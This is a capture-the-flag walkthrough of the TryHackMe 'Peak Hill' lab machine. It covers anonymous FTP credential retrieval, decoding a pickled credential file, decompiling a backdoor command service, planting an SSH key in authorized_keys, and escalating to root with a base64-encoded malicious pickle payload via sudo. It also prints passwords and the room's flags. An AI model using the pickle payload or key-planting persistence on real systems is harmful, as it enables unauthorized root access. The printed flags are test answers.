TryHackMe-Peak-Hill

From aldeid
Jump to navigation Jump to search

Peak Hill

Exercises in Python library abuse and some exploitation techniques

Deploy and compromise the machine!

Make sure you’re connected to TryHackMe’s network.

Recon

Services discovery

PORT     STATE  SERVICE  VERSION
20/tcp   closed ftp-data
21/tcp   open   ftp      vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 ftp      ftp            17 May 15 18:37 test.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.11.9.81
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open   ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 04:d5:75:9d:c1:40:51:37:73:4c:42:30:38:b8:d6:df (RSA)
|   256 7f:95:1a:d7:59:2f:19:06:ea:c1:55:ec:58:35:0c:05 (ECDSA)
|_  256 a5:15:36:92:1c:aa:59:9b:8a:d8:ea:13:c9:c0:ff:b6 (ED25519)
7321/tcp open   swx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: 
|     Username: Password:
|   NULL: 
|_    Username:

Port 21 (anonymous FTP only)

$ ftp 10.10.19.17
Connected to 10.10.19.17 (10.10.19.17).
220 (vsFTPd 3.0.3)
Name (10.10.19.17:unknown): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
227 Entering Passive Mode (10,10,19,17,159,63).
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 May 15 18:37 .
drwxr-xr-x    2 ftp      ftp          4096 May 15 18:37 ..
-rw-r--r--    1 ftp      ftp          7048 May 15 18:37 .creds
-rw-r--r--    1 ftp      ftp            17 May 15 18:37 test.txt
226 Directory send OK.
ftp> get .creds
local: .creds remote: .creds
227 Entering Passive Mode (10,10,19,17,49,255).
150 Opening BINARY mode data connection for .creds (7048 bytes).
226 Transfer complete.
7048 bytes received in 0.00345 secs (2043.49 Kbytes/sec)
ftp> get test.txt
local: test.txt remote: test.txt
227 Entering Passive Mode (10,10,19,17,132,154).
150 Opening BINARY mode data connection for test.txt (17 bytes).
226 Transfer complete.
17 bytes received in 0.000884 secs (19.23 Kbytes/sec)
ftp> quit
221 Goodbye.
$ cat test.txt 
vsftpd test file
$ cat .creds
100000000000001101[REDACTED]10100101110

Port 7321

$ nc 10.10.19.17 7321
Username: admin
Password: admin
Wrong credentials!

#1 - What is the user flag?

Decode pickle message

I’ve written a python script to decode the binary string gathered in the .creds.txt file (FTP):

#!/usr/bin/env python3

with open('creds_decoded.txt', 'w') as credsout, open('creds.txt', 'r') as credsin:
    r = credsin.read()
    # chunks of 8
    b = ' '.join([r[i:i+8] for i in range(0, len(r), 8)])
    # decode
    credsout.write(''.join([chr(int(c, 2)) for c in b.split(' ')]))

Run it to get the following decoded text:

$ cat creds_decoded.txt 
]q(X
ssh_pass15qXuqqX    ssh_user1qXhqqX
ssh_pass25qXrq  X
ssh_pass20q
hq
  X ssh_pass7q
qX      ssh_user0qXgqqX
ssh_pass26qXlqqX    ssh_pass5qX3qqX ssh_pass1qX1qq�X
qXh_pass22q
ssh_pass12qX@qqX    ssh_user2q Xeq!q"X  ssh_user5q#Xiq$q%X
q'X_pass18q&h
ssh_pass27q(Xdq)q*X ssh_pass3q+Xkq,q-X
ssh_pass19q.Xtq/q0X ssh_pass6q1Xsq2q3X  ssh_pass9q4hq5X
ssh_pass23q6Xwq7q8X
ssh_pass21q9hq:X    ssh_pass4q;hq<X
ssh_pass14q=X0q>q?X ssh_user6q@XnqAqBX  ssh_pass2qCXcqDqEX
ssh_pass13qFqGX
ssh_pass16qHhAqIX   ssh_pass8qJhqKX
ssh_pass17qLh)qMX
ssh_pass24qNh>qOX   ssh_user3qPqQX  ssh_user4qRh,qSX
qUX_passssh_pass0qVXpqWqXX
ssh_pass10qYhqZe.

The file is actually a pickled python file (https://docs.python.org/3/library/pickle.html):

“The pickle module implements binary protocols for serializing and de-serializing a Python object structure. “Pickling” is the process whereby a Python object hierarchy is converted into a byte stream, and “unpickling” is the inverse operation, whereby a byte stream (from a binary file or bytes-like object) is converted back into an object hierarchy. Pickling (and unpickling) is alternatively known as “serialization”, “marshalling,” 1 or “flattening”; however, to avoid confusion, the terms used here are “pickling” and “unpickling”."

Let’s decode the binary string with CyberChef first and get a creds.dat file:

Now, let’s decode the file:

#!/usr/bin/env python3

import pickle
import re

with open('creds.dat', 'rb') as f:
    data = pickle.load(f)
    sshuser = []
    sshpass = []

    for i in data:
        pos = int(re.findall('\d+', i[0])[0])
        if 'ssh_user' in i[0]:
            sshuser.append([pos, i[1]])
        else:
            sshpass.append([pos, i[1]])

    sshuser.sort()
    sshpass.sort()
    print("SSH user: {}".format(''.join([i[1] for i in sshuser])))
    print("SSH pass: {}".format(''.join([i[1] for i in sshpass])))

Here is the script output:

$ python creds_decode_pickle.py 
SSH user: gherkin
SSH pass: p1ckl3s_@11_@r0und_th3_w0rld

SSH connection

Now, let’s use the credentials to connect to the SSH service.

We have a compiled python script in our home. Let’s get it locally and uncompile it with uncompyle6:

$ uncompyle6 cmd_service.pyc 
# uncompyle6 version 3.7.0
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.8.3 (default, May 15 2020, 00:00:00) 
# [GCC 10.1.1 20200507 (Red Hat 10.1.1-1)]
# Embedded file name: ./cmd_service.py
# Compiled at: 2020-05-14 19:55:16
# Size of source mod 2**32: 2140 bytes
from Crypto.Util.number import bytes_to_long, long_to_bytes
import sys, textwrap, socketserver, string, readline, threading
from time import *
import getpass, os, subprocess
username = long_to_bytes(1684630636)
password = long_to_bytes(2457564920124666544827225107428488864802762356)

class Service(socketserver.BaseRequestHandler):

    def ask_creds(self):
        username_input = self.receive(b'Username: ').strip()
        password_input = self.receive(b'Password: ').strip()
        print(username_input, password_input)
        if username_input == username:
            if password_input == password:
                return True
        return False

    def handle(self):
        loggedin = self.ask_creds()
        if not loggedin:
            self.send(b'Wrong credentials!')
            return None
        self.send(b'Successfully logged in!')
        while True:
            command = self.receive(b'Cmd: ')
            p = subprocess.Popen(command,
              shell=True, stdout=(subprocess.PIPE), stderr=(subprocess.PIPE))
            self.send(p.stdout.read())

    def send(self, string, newline=True):
        if newline:
            string = string + b'\n'
        self.request.sendall(string)

    def receive(self, prompt=b'> '):
        self.send(prompt, newline=False)
        return self.request.recv(4096).strip()


class ThreadedService(socketserver.ThreadingMixIn, socketserver.TCPServer, socketserver.DatagramRequestHandler):
    pass


def main():
    print('Starting server...')
    port = 7321
    host = '0.0.0.0'
    service = Service
    server = ThreadedService((host, port), service)
    server.allow_reuse_address = True
    server_thread = threading.Thread(target=(server.serve_forever))
    server_thread.daemon = True
    server_thread.start()
    print('Server started on ' + str(server.server_address) + '!')
    while True:
        sleep(10)


if __name__ == '__main__':
    main()
# okay decompiling cmd_service.pyc
$ python
>>> from Crypto.Util.number import long_to_bytes
>>> print(long_to_bytes(1684630636))
b'dill'
>>> print(long_to_bytes(2457564920124666544827225107428488864802762356))
b'n3v3r_@_d1ll_m0m3nt'
$ nc 10.10.50.9 7321
Username: dill
Password: n3v3r_@_d1ll_m0m3nt
Successfully logged in!
Cmd: cat /home/dill/user.txt
f1e13335c47306e193212c98fc07b6a0

User flag: f1e13335c47306e193212c98fc07b6a0

#2 - What is the root flag?

Maintain access

Unfortunately, these credentials didn’t work on the server directly (dill’s password is different than the one hardcoded in the shell).

Let’s add our SSH key to dill’s .ssh directory to be able to connect via SSH directly. First generate a public key and a private key on our own machine:

$ ssh-keygen -t rsa
$ cat id_rsa.pub 
ssh-rsa AAAAB3Nz[REDACTED]7YP7lhvLfM= [email protected]

Now let’s add this string to dill’s .ssh directory using the backdoor:

Cmd: echo "ssh-rsa AAAAB3Nz[REDACTED]71CiH7YP7lhvLfM= [email protected]" >> /home/dill/.ssh/authorized_keys

Now, we can connect directly in SSH without password.

$ ssh [email protected]
dill@ubuntu-xenial:~$ whoami
dill

Let’s check our privileges

dill@ubuntu-xenial:~$ sudo -l
Matching Defaults entries for dill on ubuntu-xenial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dill may run the following commands on ubuntu-xenial:
    (ALL : ALL) NOPASSWD: /opt/peak_hill_farm/peak_hill_farm

This program needs to be run as root:

dill@ubuntu-xenial:/opt/peak_hill_farm$ ./peak_hill_farm 
[31780] Cannot open self /opt/peak_hill_farm/peak_hill_farm or archive /opt/peak_hill_farm/peak_hill_farm.pkg

There are many files in /opt/peak_hill_farm/:

dill@ubuntu-xenial:/opt/peak_hill_farm$ ll
total 11404
drwxr-xr-x 2 root root    4096 May 15 18:38 .
drwxr-xr-x 3 root root    4096 May 20 21:56 ..
-rwxr-x--- 1 root root  788413 May 15 18:38 base_library.zip
-rwxr-x--- 1 root root   22000 Apr 17 15:25 _bz2.cpython-35m-x86_64-linux-gnu.so
-rwxr-x--- 1 root root  149880 Apr 17 15:25 _codecs_cn.cpython-35m-x86_64-linux-gnu.so
-rwxr-x--- 1 root root  158104 Apr 17 15:25 _codecs_hk.cpython-35m-x86_64-linux-gnu.so
-rwxr-x--- 1 root root   31128 Apr 17 15:25 _codecs_iso2022.cpython-35m-x86_64-linux-gnu.so
-rwxr-x--- 1 root root  268664 Apr 17 15:25 _codecs_jp.cpython-35m-x86_64-linux-gnu.so
-rwxr-x--- 1 root root  137592 Apr 17 15:25 _codecs_kr.cpython-35m-x86_64-linux-gnu.so
-rwxr-x--- 1 root root  113016 Apr 17 15:25 _codecs_tw.cpython-35m-x86_64-linux-gnu.so
-rwxr-x--- 1 root root  156624 Apr 17 15:25 _ctypes.cpython-35m-x86_64-linux-gnu.so
-rwxr-x--- 1 root root   29488 Apr 17 15:25 _hashlib.cpython-35m-x86_64-linux-gnu.so
-rwxr-x--- 1 root root   66800 Jul  4  2019 libbz2.so.1.0
-rwxr-x--- 1 root root 2365952 Feb 27  2019 libcrypto.so.1.0.0
-rwxr-x--- 1 root root  166032 Sep 12  2019 libexpat.so.1
-rwxr-x--- 1 root root  137400 Feb 12  2014 liblzma.so.5
-rwxr-x--- 1 root root 4547880 Apr 17 15:25 libpython3.5m.so.1.0
-rwxr-x--- 1 root root  282392 Feb  4  2016 libreadline.so.6
-rwxr-x--- 1 root root  428384 Feb 27  2019 libssl.so.1.0.0
-rwxr-x--- 1 root root  167240 Feb 19  2016 libtinfo.so.5
-rwxr-x--- 1 root root  104864 Jan 21 19:13 libz.so.1
-rwxr-x--- 1 root root   37616 Apr 17 15:25 _lzma.cpython-35m-x86_64-linux-gnu.so
-rwxr-x--- 1 root root   44144 Apr 17 15:25 _multibytecodec.cpython-35m-x86_64-linux-gnu.so
-rwxr-x--- 1 root root    6504 Apr 17 15:25 _opcode.cpython-35m-x86_64-linux-gnu.so
-rwxr-x--x 1 root root 1218056 May 15 18:38 peak_hill_farm
-rwxr-x--- 1 root root   31688 Apr 17 15:25 readline.cpython-35m-x86_64-linux-gnu.so
-rwxr-x--- 1 root root   15432 Apr 17 15:25 resource.cpython-35m-x86_64-linux-gnu.so
-rwxr-x--- 1 root root  118744 Apr 17 15:25 _ssl.cpython-35m-x86_64-linux-gnu.so
-rwxr-x--- 1 root root   25032 Apr 17 15:25 termios.cpython-35m-x86_64-linux-gnu.so

Let’s run the peak_hill_farm executable. It asks for a question (“to grow”). Obviously, as I provided the wrong answer, I have an error message in return.

dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm 
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: oops
this not grow did not grow on the Peak Hill Farm! :(

By chance, I tried to provide “pickles” as answer just for fun and had a different message:

dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm 
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: pickles
failed to decode base64
dill@ubuntu-xenial:/opt/peak_hill_farm$ echo -n "pickles" | base64
cGlja2xlcw==
dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm 
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: cGlja2xlcw==
this not grow did not grow on the Peak Hill Farm! :(

Becoming root

This room is about python, pickle and exploitation. Let’s search on the Internet for an exploit that allows privilege escalation. I found this interesting document (https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1542133788.pdf), especially on page 21. I tried the exploit for the id command which executed on the server. Now, let’s modify the command to get a shell:

dill@ubuntu-xenial:/opt/peak_hill_farm$ python3
Python 3.5.2 (default, Apr 16 2020, 17:47:17) 
[GCC 5.4.0 20160609] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> import pickle
>>> import base64
>>> class evil_object(object):
...     def __reduce__(self):
...         return (os.system, ('/bin/bash',))
... 
>>> x = evil_object()
>>> holdit = pickle.dumps(x)
>>> base64.b64encode(holdit)
b'gANjcG9zaXgKc3lzdGVtCnEAWAkAAAAvYmluL2Jhc2hxAYVxAlJxAy4='
>>> 

Now that we have our base64 payload, let’s use it:

dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm 
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: gANjcG9zaXgKc3lzdGVtCnEAWAkAAAAvYmluL2Jhc2hxAYVxAlJxAy4=
root@ubuntu-xenial:/opt/peak_hill_farm# whoami
root
root@ubuntu-xenial:/opt/peak_hill_farm# 

Another trick to read the root flag:

root@ubuntu-xenial:/opt/peak_hill_farm# cd /root/
root@ubuntu-xenial:/root# ls /root/
 root.txt 
root@ubuntu-xenial:/root# cat root.txt
cat: root.txt: No such file or directory
root@ubuntu-xenial:/root# find /root/ -name "*root.txt*"
/root/ root.txt 
root@ubuntu-xenial:/root# find /root/ -name "*root.txt*" -exec cat {} \;
e88f0a01135c05cf0912cf4bc335ee28

Root flag: e88f0a01135c05cf0912cf4bc335ee28